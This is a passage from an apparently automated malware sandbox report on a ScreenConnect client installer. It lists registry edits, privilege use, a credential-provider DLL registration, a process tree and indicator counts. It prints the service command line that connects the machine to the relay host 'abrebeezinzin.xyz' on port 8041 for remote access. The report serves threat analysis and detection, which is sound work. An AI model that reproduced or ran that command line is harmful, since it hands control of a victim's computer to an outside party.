\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe - Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\sc-684198418d7763ed msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-684198418d7763ed\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-684198418d7763ed msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6386-201CE3F45B1F}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (684198418d7763ed)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\10A9291AFDC6653686148914D87736DE\076B2B04C65547287592E08592FA6F7D msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\PackageCode = "076B2B04C65547287592E08592FA6F7D" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\10A9291AFDC6653686148914D87736DE msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.2.4.9229\\684198418d7763ed\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1991999443-3181470666-3272020885-1000\{50228B9B-ECF0-485B-814E-15258CFFAA6D} explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6386-201CE3F45B1F}\ = "ScreenConnect Client (684198418d7763ed) Credential Provider" msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-684198418d7763ed\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6386-201CE3F45B1F}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1991999443-3181470666-3272020885-1000\{A988E7E7-FD22-45C2-A325-3BAE747A248A} explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\Version = "419561476" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\ProductIcon = "C:\\Windows\\Installer\\{40B2B670-556C-8274-5729-0E5829AFF6D7}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\Net msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-684198418d7763ed\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\ProductName = "ScreenConnect Client (684198418d7763ed)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-684198418d7763ed\URL Protocol msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-684198418d7763ed\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (684198418d7763ed)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6386-201CE3F45B1F}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\076B2B04C65547287592E08592FA6F7D msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.2.4.9229\\684198418d7763ed\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\076B2B04C65547287592E08592FA6F7D\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1248 msiexec.exe 1248 msiexec.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 3356 ScreenConnect.ClientService.exe 4392 explorer.exe 4392 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5556 ScreenConnect.ClientSetup.exe Token: SeShutdownPrivilege 2720 msiexec.exe Token: SeIncreaseQuotaPrivilege 2720 msiexec.exe Token: SeSecurityPrivilege 1248 msiexec.exe Token: SeCreateTokenPrivilege 2720 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2720 msiexec.exe Token: SeLockMemoryPrivilege 2720 msiexec.exe Token: SeIncreaseQuotaPrivilege 2720 msiexec.exe Token: SeMachineAccountPrivilege 2720 msiexec.exe Token: SeTcbPrivilege 2720 msiexec.exe Token: SeSecurityPrivilege 2720 msiexec.exe Token: SeTakeOwnershipPrivilege 2720 msiexec.exe Token: SeLoadDriverPrivilege 2720 msiexec.exe Token: SeSystemProfilePrivilege 2720 msiexec.exe Token: SeSystemtimePrivilege 2720 msiexec.exe Token: SeProfSingleProcessPrivilege 2720 msiexec.exe Token: SeIncBasePriorityPrivilege 2720 msiexec.exe Token: SeCreatePagefilePrivilege 2720 msiexec.exe Token: SeCreatePermanentPrivilege 2720 msiexec.exe Token: SeBackupPrivilege 2720 msiexec.exe Token: SeRestorePrivilege 2720 msiexec.exe Token: SeShutdownPrivilege 2720 msiexec.exe Token: SeDebugPrivilege 2720 msiexec.exe Token: SeAuditPrivilege 2720 msiexec.exe Token: SeSystemEnvironmentPrivilege 2720 msiexec.exe Token: SeChangeNotifyPrivilege 2720 msiexec.exe Token: SeRemoteShutdownPrivilege 2720 msiexec.exe Token: SeUndockPrivilege 2720 msiexec.exe Token: SeSyncAgentPrivilege 2720 msiexec.exe Token: SeEnableDelegationPrivilege 2720 msiexec.exe Token: SeManageVolumePrivilege 2720 msiexec.exe Token: SeImpersonatePrivilege 2720 msiexec.exe Token: SeCreateGlobalPrivilege 2720 msiexec.exe Token: SeCreateTokenPrivilege 2720 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2720 msiexec.exe Token: SeLockMemoryPrivilege 2720 msiexec.exe Token: SeIncreaseQuotaPrivilege 2720 msiexec.exe Token: SeMachineAccountPrivilege 2720 msiexec.exe Token: SeTcbPrivilege 2720 msiexec.exe Token: SeSecurityPrivilege 2720 msiexec.exe Token: SeTakeOwnershipPrivilege 2720 msiexec.exe Token: SeLoadDriverPrivilege 2720 msiexec.exe Token: SeSystemProfilePrivilege 2720 msiexec.exe Token: SeSystemtimePrivilege 2720 msiexec.exe Token: SeProfSingleProcessPrivilege 2720 msiexec.exe Token: SeIncBasePriorityPrivilege 2720 msiexec.exe Token: SeCreatePagefilePrivilege 2720 msiexec.exe Token: SeCreatePermanentPrivilege 2720 msiexec.exe Token: SeBackupPrivilege 2720 msiexec.exe Token: SeRestorePrivilege 2720 msiexec.exe Token: SeShutdownPrivilege 2720 msiexec.exe Token: SeDebugPrivilege 2720 msiexec.exe Token: SeAuditPrivilege 2720 msiexec.exe Token: SeSystemEnvironmentPrivilege 2720 msiexec.exe Token: SeChangeNotifyPrivilege 2720 msiexec.exe Token: SeRemoteShutdownPrivilege 2720 msiexec.exe Token: SeUndockPrivilege 2720 msiexec.exe Token: SeSyncAgentPrivilege 2720 msiexec.exe Token: SeEnableDelegationPrivilege 2720 msiexec.exe Token: SeManageVolumePrivilege 2720 msiexec.exe Token: SeImpersonatePrivilege 2720 msiexec.exe Token: SeCreateGlobalPrivilege 2720 msiexec.exe Token: SeCreateTokenPrivilege 2720 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2720 msiexec.exe - Suspicious use of FindShellTrayWindow 55 IoCs
pid Process 2720 msiexec.exe 2720 msiexec.exe 5240 sihost.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe - Suspicious use of SendNotifyMessage 39 IoCs
pid Process 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe 4392 explorer.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 2720 msiexec.exe 1248 msiexec.exe 988 MsiExec.exe 3428 MsiExec.exe 3872 MsiExec.exe 5812 StartMenuExperienceHost.exe 4280 SearchHost.exe 4392 explorer.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5556 wrote to memory of 2720 5556 ScreenConnect.ClientSetup.exe 88 PID 1248 wrote to memory of 988 1248 msiexec.exe 90 PID 988 wrote to memory of 4824 988 MsiExec.exe 91 PID 1248 wrote to memory of 1168 1248 msiexec.exe 96 PID 1248 wrote to memory of 3428 1248 msiexec.exe 99 PID 1248 wrote to memory of 3872 1248 msiexec.exe 100 PID 3356 wrote to memory of 4896 3356 ScreenConnect.ClientService.exe 107 PID 3356 wrote to memory of 3756 3356 ScreenConnect.ClientService.exe 108 PID 5240 wrote to memory of 4392 5240 sihost.exe 113 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5556 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\684198418d7763ed\ScreenConnect.ClientSetup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2720
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 04D8761704350AC96820535572737833 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF325.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240710921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4824
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:1168
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BA80D32D5F31CCE9DCD026E078E6BCD82⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3428
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 722B8ECBC74BD01F53157D6F1D80FC4C E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3872
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:5492
-
C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abrebeezinzin.xyz&p=8041&s=a6625f55-867e-4305-aca3-5a32b5af1c71&k=BgIAAACkAABSU0ExAAgAAAEAAQCVmzcqCAKrystBjav5INy3nfACdniSmk43hCACOQ7DNiVMvjc8Jx8vr8jlzPYkMMrGew3Q5pK6vp6NUK1Ej4sGz7VyjyMbhVGYi6Td6QfKTbGBJJT6L596678bVSjbWOHPnSr08brJY1rcGbPhMgMuoIJQEEDeSItsh1b19oWj0FR5Pou817a1wtkP3MrlDuKyWU8SXdKOyWKQ3aV3kycBXNuVEfE7yVhg8PcyYjyRYlBPJqb397ryyeEOyFEC00zB5h6kZvHoysxOG1Qv70WemGYmoiDHwo32TfabdVaiuBX9S4xj1WEQn8Z0Q0RGab5JZ9xKPGFfSbO52kmftr3U"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4556 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4556 -s 13482⤵
- Program crash
PID:4604
-
-
C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (684198418d7763ed)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abrebeezinzin.xyz&p=8041&s=a6625f55-867e-4305-aca3-5a32b5af1c71&k=BgIAAACkAABSU0ExAAgAAAEAAQCVmzcqCAKrystBjav5INy3nfACdniSmk43hCACOQ7DNiVMvjc8Jx8vr8jlzPYkMMrGew3Q5pK6vp6NUK1Ej4sGz7VyjyMbhVGYi6Td6Q%2fKT%2bGBJJT6L596678%2bVSj%2bWOHPnSr08brJY1rcGbPhMgMuoIJQEEDeSItsh1%2b19oWj0FR5Pou817a1wtkP3MrlDuKyWU8SXdKOyWKQ3aV3kycBXNuVE%2fE7yVhg8PcyYjyRYlBPJq%2b397ryyeEOyFEC00zB5h6kZvHoysxOG1Qv70WemGYmoiDHwo32T%2fa%2bdVaiuBX9S4xj1WEQn8Z0Q0RGa%2b5JZ9xKPGF%2fSbO52kmftr3U"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3356 -
